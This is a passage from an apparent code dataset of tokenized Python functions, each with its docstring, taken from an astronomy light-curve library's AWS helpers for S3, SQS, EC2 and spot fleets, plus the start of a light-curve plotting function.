.sqlite where .sqlite.gz is expected, use altexts=[''] to\n        strip the .gz.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    str\n        Path to the downloaded filename or None if the download was\n        unsuccessful.", "id": "f14694:m1"}
{"signature": "def s3_get_url(url,<EOL>altexts=None,<EOL>client=None,<EOL>raiseonfail=False):", "body": "bucket_item = url.replace('<STR_LIT>','<STR_LIT>')<EOL>bucket_item = bucket_item.split('<STR_LIT:/>')<EOL>bucket = bucket_item[<NUM_LIT:0>]<EOL>filekey = '<STR_LIT:/>'.join(bucket_item[<NUM_LIT:1>:])<EOL>return s3_get_file(bucket,<EOL>filekey,<EOL>bucket_item[-<NUM_LIT:1>],<EOL>altexts=altexts,<EOL>client=client,<EOL>raiseonfail=raiseonfail)<EOL>", "docstring": "This gets a file from an S3 bucket based on its s3:// URL.\n\n    Parameters\n    ----------\n\n    url : str\n        S3 URL to download. This should begin with 's3://'.\n\n    altexts : None or list of str\n        If not None, this is a list of alternate extensions to try for the file\n        other than the one provided in `filename`. For example, to get anything\n        that's an .sqlite where .sqlite.gz is expected, use altexts=[''] to\n        strip the .gz.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    str\n        Path to the downloaded filename or None if the download was\n        unsuccessful. The file will be downloaded into the current working\n        directory and will have a filename == basename of the file on S3.", "id": "f14694:m2"}
{"signature": "def s3_put_file(local_file, bucket, client=None, raiseonfail=False):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>client.upload_file(local_file, bucket, os.path.basename(local_file))<EOL>return '<STR_LIT>' % (bucket, os.path.basename(local_file))<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % (local_file,<EOL>bucket))<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This uploads a file to S3.\n\n    Parameters\n    ----------\n\n    local_file : str\n        Path to the file to upload to S3.\n\n    bucket : str\n        The AWS S3 bucket to upload the file to.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    str or None\n        If the file upload is successful, returns the s3:// URL of the uploaded\n        file. If it failed, will return None.", "id": "f14694:m3"}
{"signature": "def s3_delete_file(bucket, filename, client=None, raiseonfail=False):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>resp = client.delete_object(Bucket=bucket, Key=filename)<EOL>if not resp:<EOL><INDENT>LOGERROR('<STR_LIT>' % (filename,<EOL>bucket))<EOL><DEDENT>else:<EOL><INDENT>return resp['<STR_LIT>']<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % (filename,<EOL>bucket))<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This deletes a file from S3.\n\n    Parameters\n    ----------\n\n    bucket : str\n        The AWS S3 bucket to delete the file from.\n\n    filename : str\n        The full file name of the file to delete, including any prefixes.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    str or None\n        If the file was successfully deleted, will return the delete-marker\n        (https://docs.aws.amazon.com/AmazonS3/latest/dev/DeleteMarker.html). If\n        it wasn't, returns None", "id": "f14694:m4"}
{"signature": "def sqs_create_queue(queue_name, options=None, client=None):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>if isinstance(options, dict):<EOL><INDENT>resp = client.create_queue(QueueName=queue_name, Attributes=options)<EOL><DEDENT>else:<EOL><INDENT>resp = client.create_queue(QueueName=queue_name)<EOL><DEDENT>if resp is not None:<EOL><INDENT>return {'<STR_LIT:url>':resp['<STR_LIT>'],<EOL>'<STR_LIT:name>':queue_name}<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>% (queue_name, options))<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>% (queue_name, options))<EOL>return None<EOL><DEDENT>", "docstring": "This creates an SQS queue.\n\nParameters\n----------\n\nqueue_name : str\n    The name of the queue to create.\n\noptions : dict or None\n    A dict of options indicate extra attributes the queue should have.\n    See the SQS docs for details. If None, no custom attributes will be\n    attached to the queue.\n\nclient : boto3.Client or None\n    If None, this function will instantiate a new `boto3.Client` object to\n    use in its operations. Alternatively, pass in an existing `boto3.Client`\n    instance to re-use it here.\n\nReturns\n-------\n\ndict\n    This returns a dict of the form::\n\n        {'url': SQS URL of the queue,\n         'name': name of the queue}", "id": "f14694:m5"}
{"signature": "def sqs_delete_queue(queue_url, client=None):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>client.delete_queue(QueueUrl=queue_url)<EOL>return True<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>% (queue_url,))<EOL>return False<EOL><DEDENT>", "docstring": "This deletes an SQS queue given its URL\n\n    Parameters\n    ----------\n\n    queue_url : str\n        The SQS URL of the queue to delete.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    Returns\n    -------\n\n    bool\n        True if the queue was deleted successfully. False otherwise.", "id": "f14694:m6"}
{"signature": "def sqs_put_item(queue_url,<EOL>item,<EOL>delay_seconds=<NUM_LIT:0>,<EOL>client=None,<EOL>raiseonfail=False):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>json_msg = json.dumps(item)<EOL>resp = client.send_message(<EOL>QueueUrl=queue_url,<EOL>MessageBody=json_msg,<EOL>DelaySeconds=delay_seconds,<EOL>)<EOL>if not resp:<EOL><INDENT>LOGERROR('<STR_LIT>' % queue_url)<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>return resp<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % queue_url)<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This pushes a dict serialized to JSON to the specified SQS queue.\n\n    Parameters\n    ----------\n\n    queue_url : str\n        The SQS URL of the queue to push the object to.\n\n    item : dict\n        The dict passed in here will be serialized to JSON.\n\n    delay_seconds : int\n        The amount of time in seconds the pushed item will be held before going\n        'live' and being visible to all queue consumers.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    boto3.Response or None\n        If the item was successfully put on the queue, will return the response\n        from the service. If it wasn't, will return None.", "id": "f14694:m7"}
{"signature": "def sqs_get_item(queue_url,<EOL>max_items=<NUM_LIT:1>,<EOL>wait_time_seconds=<NUM_LIT:5>,<EOL>client=None,<EOL>raiseonfail=False):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>resp = client.receive_message(<EOL>QueueUrl=queue_url,<EOL>AttributeNames=['<STR_LIT>'],<EOL>MaxNumberOfMessages=max_items,<EOL>WaitTimeSeconds=wait_time_seconds<EOL>)<EOL>if not resp:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>queue_url)<EOL><DEDENT>else:<EOL><INDENT>messages = []<EOL>for msg in resp.get('<STR_LIT>',[]):<EOL><INDENT>try:<EOL><INDENT>messages.append({<EOL>'<STR_LIT:id>':msg['<STR_LIT>'],<EOL>'<STR_LIT>':msg['<STR_LIT>'],<EOL>'<STR_LIT>':msg['<STR_LIT>'],<EOL>'<STR_LIT>':msg['<STR_LIT>'],<EOL>'<STR_LIT>':json.loads(msg['<STR_LIT>']),<EOL>})<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>' %<EOL>(msg['<STR_LIT>'], msg['<STR_LIT>'])<EOL>)<EOL>continue<EOL><DEDENT><DEDENT>return messages<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % queue_url)<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This gets a single item from the SQS queue.\n\n    The `queue_url` is composed of some internal SQS junk plus a\n    `queue_name`. For our purposes (`lcproc_aws.py`), the queue name will be\n    something like::\n\n        lcproc_queue_<action>\n\n    where action is one of::\n\n        runcp\n        runpf\n\n    The item is always a JSON object::\n\n        {'target': S3 bucket address of the file to process,\n         'action': the action to perform on the file ('runpf', 'runcp', etc.)\n         'args': the action's args as a tuple (not including filename, which is\n                 generated randomly as a temporary local file),\n         'kwargs': the action's kwargs as a dict,\n         'outbucket: S3 bucket to write the result to,\n         'outqueue': SQS queue to write the processed item's info to (optional)}\n\n    The action MUST match the <action> in the queue name for this item to be\n    processed.\n\n    Parameters\n    ----------\n\n    queue_url : str\n        The SQS URL of the queue to get messages from.\n\n    max_items : int\n        The number of items to pull from the queue in this request.\n\n    wait_time_seconds : int\n        This specifies how long the function should block until a message is\n        received on the queue. If the timeout expires, an empty list will be\n        returned. If the timeout doesn't expire, the function will return a list\n        of items received (up to `max_items`).\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    list of dicts or None\n        For each item pulled from the queue in this request (up to `max_items`),\n        a dict will be deserialized from the retrieved JSON, containing the\n        message items and various metadata. The most important item of the\n        metadata is the `receipt_handle`, which can be used to acknowledge\n        receipt of all items in this request (see `sqs_delete_item` below).\n\n        If the queue pull fails outright, returns None. If no messages are\n        available for this queue pull, returns an empty list.", "id": "f14694:m8"}
{"signature": "def sqs_delete_item(queue_url,<EOL>receipt_handle,<EOL>client=None,<EOL>raiseonfail=False):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>client.delete_message(<EOL>QueueUrl=queue_url,<EOL>ReceiptHandle=receipt_handle<EOL>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (receipt_handle, queue_url)<EOL>)<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "This deletes a message from the queue, effectively acknowledging its\n    receipt.\n\n    Call this only when all messages retrieved from the queue have been\n    processed, since this will prevent redelivery of these messages to other\n    queue workers pulling fromn the same queue channel.\n\n    Parameters\n    ----------\n\n    queue_url : str\n        The SQS URL of the queue where we got the messages from. This should be\n        the same queue used to retrieve the messages in `sqs_get_item`.\n\n    receipt_handle : str\n        The receipt handle of the queue message that we're responding to, and\n        will acknowledge receipt of. This will be present in each message\n        retrieved using `sqs_get_item`.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    Nothing.", "id": "f14694:m9"}
{"signature": "def make_ec2_nodes(<EOL>security_groupid,<EOL>subnet_id,<EOL>keypair_name,<EOL>iam_instance_profile_arn,<EOL>launch_instances=<NUM_LIT:1>,<EOL>ami='<STR_LIT>',<EOL>instance='<STR_LIT>',<EOL>ebs_optimized=True,<EOL>user_data=None,<EOL>wait_until_up=True,<EOL>client=None,<EOL>raiseonfail=False,<EOL>):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>if isinstance(user_data, str) and os.path.exists(user_data):<EOL><INDENT>with open(user_data,'<STR_LIT:r>') as infd:<EOL><INDENT>udata = infd.read()<EOL><DEDENT><DEDENT>elif isinstance(user_data, str):<EOL><INDENT>udata = user_data<EOL><DEDENT>else:<EOL><INDENT>udata = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % datetime.utcnow().isoformat()<EOL>)<EOL><DEDENT>try:<EOL><INDENT>resp = client.run_instances(<EOL>ImageId=ami,<EOL>InstanceType=instance,<EOL>SecurityGroupIds=[<EOL>security_groupid,<EOL>],<EOL>SubnetId=subnet_id,<EOL>UserData=udata,<EOL>IamInstanceProfile={'<STR_LIT>':iam_instance_profile_arn},<EOL>InstanceInitiatedShutdownBehavior='<STR_LIT>',<EOL>KeyName=keypair_name,<EOL>MaxCount=launch_instances,<EOL>MinCount=launch_instances,<EOL>EbsOptimized=ebs_optimized,<EOL>)<EOL>if not resp:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>instance_dict = {}<EOL>instance_list = resp.get('<STR_LIT>',[])<EOL>if len(instance_list) > <NUM_LIT:0>:<EOL><INDENT>for instance in instance_list:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (instance['<STR_LIT>'],<EOL>instance['<STR_LIT>'],<EOL>instance['<STR_LIT>'].isoformat(),<EOL>instance['<STR_LIT>']['<STR_LIT:Name>']))<EOL>instance_dict[instance['<STR_LIT>']] = {<EOL>'<STR_LIT:type>':instance['<STR_LIT>'],<EOL>'<STR_LIT>':instance['<STR_LIT>'],<EOL>'<STR_LIT:state>':instance['<STR_LIT>']['<STR_LIT:Name>'],<EOL>'<STR_LIT:info>':instance<EOL>}<EOL><DEDENT><DEDENT>if wait_until_up:<EOL><INDENT>ready_instances = []<EOL>LOGINFO('<STR_LIT>')<EOL>ntries = <NUM_LIT:5><EOL>curr_try = <NUM_LIT:0><EOL>while ( (curr_try < ntries) or<EOL>( len(ready_instances) <<EOL>len(list(instance_dict.keys()))) ):<EOL><INDENT>resp = client.describe_instances(<EOL>InstanceIds=list(instance_dict.keys()),<EOL>)<EOL>if len(resp['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>for resv in resp['<STR_LIT>']:<EOL><INDENT>if len(resv['<STR_LIT>']) > <NUM_LIT:0>:<EOL><INDENT>for instance in resv['<STR_LIT>']:<EOL><INDENT>if instance['<STR_LIT>']['<STR_LIT:Name>'] == '<STR_LIT>':<EOL><INDENT>ready_instances.append(<EOL>instance['<STR_LIT>']<EOL>)<EOL>instance_dict[<EOL>instance['<STR_LIT>']<EOL>]['<STR_LIT:state>'] = '<STR_LIT>'<EOL>instance_dict[<EOL>instance['<STR_LIT>']<EOL>]['<STR_LIT>'] = instance['<STR_LIT>']<EOL>instance_dict[<EOL>instance['<STR_LIT>']<EOL>]['<STR_LIT:info>'] = instance<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>curr_try = curr_try + <NUM_LIT:1><EOL>time.sleep(<NUM_LIT>)<EOL><DEDENT>if len(ready_instances) == len(list(instance_dict.keys())):<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT>return instance_dict<EOL><DEDENT><DEDENT>except ClientError as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This makes new EC2 worker nodes.\n\n    This requires a security group ID attached to a VPC config and subnet, a\n    keypair generated beforehand, and an IAM role ARN for the instance. See:\n\n    https://docs.aws.amazon.com/cli/latest/userguide/tutorial-ec2-ubuntu.html\n\n    Use `user_data` to launch tasks on instance launch.\n\n    Parameters\n    ----------\n\n    security_groupid : str\n        The security group ID of the AWS VPC where the instances will be\n        launched.\n\n    subnet_id : str\n        The subnet ID of the AWS VPC where the instances will be\n        launched.\n\n    keypair_name : str\n        The name of the keypair to be used to allow SSH access to all instances\n        launched here. This corresponds to an already downloaded AWS keypair PEM\n        file.\n\n    iam_instance_profile_arn : str\n        The ARN string corresponding to the AWS instance profile that describes\n        the permissions the launched instances have to access other AWS\n        resources. Set this up in AWS IAM.\n\n    launch_instances : int\n        The number of instances to launch in this request.\n\n    ami : str\n        The Amazon Machine Image ID that describes the OS the instances will use\n        after launch. The default ID is Amazon Linux 2 in the US East region.\n\n    instance : str\n        The instance type to launch. See the following URL for a list of IDs:\n        https://aws.amazon.com/ec2/pricing/on-demand/\n\n    ebs_optimized : bool\n        If True, will enable EBS optimization to speed up IO. This is usually\n        True for all instances made available in the last couple of years.\n\n    user_data : str or None\n        This is either the path to a file on disk that contains a shell-script\n        or a string containing a shell-script that will be executed by root\n        right after the instance is launched. Use to automatically set up\n        workers and queues. If None, will not execute anything at instance\n        start up.\n\n    wait_until_up : bool\n        If True, will not return from this function until all launched instances\n        are verified as running by AWS.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    dict\n        Returns launched instance info as a dict, keyed by instance ID.", "id": "f14694:m10"}
{"signature": "def delete_ec2_nodes(<EOL>instance_id_list,<EOL>client=None<EOL>):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>resp = client.terminate_instances(<EOL>InstanceIds=instance_id_list<EOL>)<EOL>return resp<EOL>", "docstring": "This deletes EC2 nodes and terminates the instances.\n\n    Parameters\n    ----------\n\n    instance_id_list : list of str\n        A list of EC2 instance IDs to terminate.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    Returns\n    -------\n\n    Nothing.", "id": "f14694:m11"}
{"signature": "def make_spot_fleet_cluster(<EOL>security_groupid,<EOL>subnet_id,<EOL>keypair_name,<EOL>iam_instance_profile_arn,<EOL>spot_fleet_iam_role,<EOL>target_capacity=<NUM_LIT:20>,<EOL>spot_price=<NUM_LIT>,<EOL>expires_days=<NUM_LIT:7>,<EOL>allocation_strategy='<STR_LIT>',<EOL>instance_types=SPOT_INSTANCE_TYPES,<EOL>instance_weights=None,<EOL>instance_ami='<STR_LIT>',<EOL>instance_user_data=None,<EOL>instance_ebs_optimized=True,<EOL>wait_until_up=True,<EOL>client=None,<EOL>raiseonfail=False<EOL>):", "body": "fleetconfig = copy.deepcopy(SPOT_FLEET_CONFIG)<EOL>fleetconfig['<STR_LIT>'] = spot_fleet_iam_role<EOL>fleetconfig['<STR_LIT>'] = allocation_strategy<EOL>fleetconfig['<STR_LIT>'] = target_capacity<EOL>fleetconfig['<STR_LIT>'] = str(spot_price)<EOL>fleetconfig['<STR_LIT>'] = (<EOL>datetime.utcnow() + timedelta(days=expires_days)<EOL>).strftime(<EOL>'<STR_LIT>'<EOL>)<EOL>if (isinstance(instance_user_data, str) and<EOL>os.path.exists(instance_user_data)):<EOL><INDENT>with open(instance_user_data,'<STR_LIT:rb>') as infd:<EOL><INDENT>udata = base64.b64encode(infd.read()).decode()<EOL><DEDENT><DEDENT>elif isinstance(instance_user_data, str):<EOL><INDENT>udata = base64.b64encode(instance_user_data.encode()).decode()<EOL><DEDENT>else:<EOL><INDENT>udata = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % datetime.utcnow().isoformat()<EOL>)<EOL>udata = base64.b64encode(udata.encode()).decode()<EOL><DEDENT>for ind, itype in enumerate(instance_types):<EOL><INDENT>thisinstance = SPOT_PERINSTANCE_CONFIG.copy()<EOL>thisinstance['<STR_LIT>'] = itype<EOL>thisinstance['<STR_LIT>'] = instance_ami<EOL>thisinstance['<STR_LIT>'] = subnet_id<EOL>thisinstance['<STR_LIT>'] = keypair_name<EOL>thisinstance['<STR_LIT>']['<STR_LIT>'] = iam_instance_profile_arn<EOL>thisinstance['<STR_LIT>'][<NUM_LIT:0>] = {'<STR_LIT>':security_groupid}<EOL>thisinstance['<STR_LIT>'] = udata<EOL>thisinstance['<STR_LIT>'] = instance_ebs_optimized<EOL>if isinstance(instance_weights, list):<EOL><INDENT>thisinstance['<STR_LIT>'] = instance_weights[ind]<EOL><DEDENT>fleetconfig['<STR_LIT>'].append(thisinstance)<EOL><DEDENT>if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>resp = client.request_spot_fleet(<EOL>SpotFleetRequestConfig=fleetconfig,<EOL>)<EOL>if not resp:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>spot_fleet_reqid = resp['<STR_LIT>']<EOL>LOGINFO('<STR_LIT>' %<EOL>spot_fleet_reqid)<EOL>if not wait_until_up:<EOL><INDENT>return spot_fleet_reqid<EOL><DEDENT>else:<EOL><INDENT>ntries = <NUM_LIT:10><EOL>curr_try = <NUM_LIT:0><EOL>while curr_try < ntries:<EOL><INDENT>resp = client.describe_spot_fleet_requests(<EOL>SpotFleetRequestIds=[<EOL>spot_fleet_reqid<EOL>]<EOL>)<EOL>curr_state = resp.get('<STR_LIT>',[])<EOL>if len(curr_state) > <NUM_LIT:0>:<EOL><INDENT>curr_state = curr_state[<NUM_LIT:0>]['<STR_LIT>']<EOL>if curr_state == '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>spot_fleet_reqid)<EOL>break<EOL><DEDENT><DEDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (curr_try, ntries)<EOL>)<EOL>curr_try = curr_try + <NUM_LIT:1><EOL>time.sleep(<NUM_LIT>)<EOL><DEDENT>return spot_fleet_reqid<EOL><DEDENT><DEDENT><DEDENT>except ClientError as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>", "docstring": "This makes an EC2 spot-fleet cluster.\n\n    This requires a security group ID attached to a VPC config and subnet, a\n    keypair generated beforehand, and an IAM role ARN for the instance. See:\n\n    https://docs.aws.amazon.com/cli/latest/userguide/tutorial-ec2-ubuntu.html\n\n    Use `user_data` to launch tasks on instance launch.\n\n    Parameters\n    ----------\n\n    security_groupid : str\n        The security group ID of the AWS VPC where the instances will be\n        launched.\n\n    subnet_id : str\n        The subnet ID of the AWS VPC where the instances will be\n        launched.\n\n    keypair_name : str\n        The name of the keypair to be used to allow SSH access to all instances\n        launched here. This corresponds to an already downloaded AWS keypair PEM\n        file.\n\n    iam_instance_profile_arn : str\n        The ARN string corresponding to the AWS instance profile that describes\n        the permissions the launched instances have to access other AWS\n        resources. Set this up in AWS IAM.\n\n    spot_fleet_iam_role : str\n        This is the name of AWS IAM role that allows the Spot Fleet Manager to\n        scale up and down instances based on demand and instances failing,\n        etc. Set this up in IAM.\n\n    target_capacity : int\n        The number of instances to target in the fleet request. The fleet\n        manager service will attempt to maintain this number over the lifetime\n        of the Spot Fleet Request.\n\n    spot_price : float\n        The bid price in USD for the instances. This is per hour. Keep this at\n        about half the hourly on-demand price of the desired instances to make\n        sure your instances aren't taken away by AWS when it needs capacity.\n\n    expires_days : int\n        The number of days this request is active for. All instances launched by\n        this request will live at least this long and will be terminated\n        automatically after.\n\n    allocation_strategy : {'lowestPrice', 'diversified'}\n        The allocation strategy used by the fleet manager.\n\n    instance_types : list of str\n        List of the instance type to launch. See the following URL for a list of\n        IDs: https://aws.amazon.com/ec2/pricing/on-demand/\n\n    instance_weights : list of float or None\n        If `instance_types` is a list of different instance types, this is the\n        relative weight applied towards launching each instance type. This can\n        be used to launch a mix of instances in a defined ratio among their\n        types. Doing this can make the spot fleet more resilient to AWS taking\n        back the instances if it runs out of capacity.\n\n    instance_ami : str\n        The Amazon Machine Image ID that describes the OS the instances will use\n        after launch. The default ID is Amazon Linux 2 in the US East region.\n\n    instance_user_data : str or None\n        This is either the path to a file on disk that contains a shell-script\n        or a string containing a shell-script that will be executed by root\n        right after the instance is launched. Use to automatically set up\n        workers and queues. If None, will not execute anything at instance\n        start up.\n\n    instance_ebs_optimized : bool\n        If True, will enable EBS optimization to speed up IO. This is usually\n        True for all instances made available in the last couple of years.\n\n    wait_until_up : bool\n        If True, will not return from this function until the spot fleet request\n        is acknowledged by AWS.\n\n    client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its operations. Alternatively, pass in an existing `boto3.Client`\n        instance to re-use it here.\n\n    raiseonfail : bool\n        If True, will re-raise whatever Exception caused the operation to fail\n        and break out immediately.\n\n    Returns\n    -------\n\n    str or None\n        This is the spot fleet request ID if successful. Otherwise, returns\n        None.", "id": "f14694:m12"}
{"signature": "def delete_spot_fleet_cluster(<EOL>spot_fleet_reqid,<EOL>client=None,<EOL>):", "body": "if not client:<EOL><INDENT>client = boto3.client('<STR_LIT>')<EOL><DEDENT>resp = client.cancel_spot_fleet_requests(<EOL>SpotFleetRequestIds=[spot_fleet_reqid],<EOL>TerminateInstances=True<EOL>)<EOL>return resp<EOL>", "docstring": "This deletes a spot-fleet cluster.\n\nParameters\n----------\n\nspot_fleet_reqid : str\n    The fleet request ID returned by `make_spot_fleet_cluster`.\n\nclient : boto3.Client or None\n    If None, this function will instantiate a new `boto3.Client` object to\n    use in its operations. Alternatively, pass in an existing `boto3.Client`\n    instance to re-use it here.\n\nReturns\n-------\n\nNothing.", "id": "f14694:m13"}
{"signature": "def plot_magseries(times,<EOL>mags,<EOL>magsarefluxes=False,<EOL>errs=None,<EOL>out=None,<EOL>sigclip=<NUM_LIT>,<EOL>normto='<STR_LIT>',<EOL>normmingap=<NUM_LIT>,<EOL>timebin=None,<EOL>yrange=None,<EOL>segmentmingap=<NUM_LIT>,<EOL>plotdpi=<NUM_LIT:100>):", "body": "<EOL>stimes, smags, serrs = sigclip_magseries(times,<EOL>mags,<EOL>errs,<EOL>magsarefluxes=magsarefluxes,<EOL>sigclip=sigclip)<EOL>if timebin and errs is not None:<EOL><INDENT>binned = time_bin_magseries_with_errs(stimes, smags, serrs,<EOL>binsize=timebin)<EOL>btimes, bmags, berrs = (binned['<STR_LIT>'],<EOL>binned['<STR_LIT>'],<EOL>binned['<STR_LIT>'])<EOL><DEDENT>elif timebin and errs is None:<EOL><INDENT>binned = time_bin_magseries(stimes, smags,<EOL>binsize=timebin)<EOL>btimes, bmags, berrs = binned['<STR_LIT>'], binned['<STR_LIT>'], None<EOL><DEDENT>else:<EOL><INDENT>btimes, bmags, berrs = stimes, smags, serrs<EOL><DEDENT>if normto is not False:<EOL><INDENT>btimes, bmags = normalize_magseries(btimes, bmags,<EOL>normto=normto,<EOL>magsarefluxes=magsarefluxes,<EOL>mingap=normmingap)<EOL><DEDENT>btimeorigin = btimes.min()<EOL>btimes = btimes - btimeorigin<EOL>if segmentmingap is not None:<EOL><INDENT>ntimegroups, timegroups = find_lc_timegroups(btimes,<EOL>mingap=segmentmingap)<EOL><DEDENT>if yrange and isinstance(yrange,(list,tuple)) and len(yrange) == <NUM_LIT:2>:<EOL><INDENT>ymin, ymax = yrange<EOL><DEDENT>else:<EOL><INDENT>if not magsarefluxes:<EOL><INDENT>ymin, ymax = (bmags.min() - <NUM_LIT>,<EOL>bmags.max() + <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>ycov = bmags.max() - bmags.min()<EOL>ymin = bmags.min() - <NUM_LIT>*ycov<EOL>ymax = bmags.max() + <NUM_LIT>*ycov<EOL><DEDENT><DEDENT>if segmentmingap and ntimegroups > <NUM_LIT:1>:<EOL><INDENT>LOGINFO('<STR_LIT>' % ntimegroups)<EOL>fig, axes = plt.subplots(<NUM_LIT:1>,ntimegroups,sharey=True)<EOL>fig.set_size_inches(<NUM_LIT:10>,<NUM_LIT>)<EOL>axes = np.ravel(axes)<EOL>for timegroup, ax, axind in zip(timegroups, axes, range(len(axes))):<EOL><INDENT>tgtimes = btimes[timegroup]<EOL>tgmags = bmags[timegroup]<EOL>if berrs:<EOL><INDENT>tgerrs = berrs[timegroup]<EOL><DEDENT>else:<EOL><INDENT>tgerrs = None<EOL><DEDENT>LOGINFO('<STR_LIT>' % 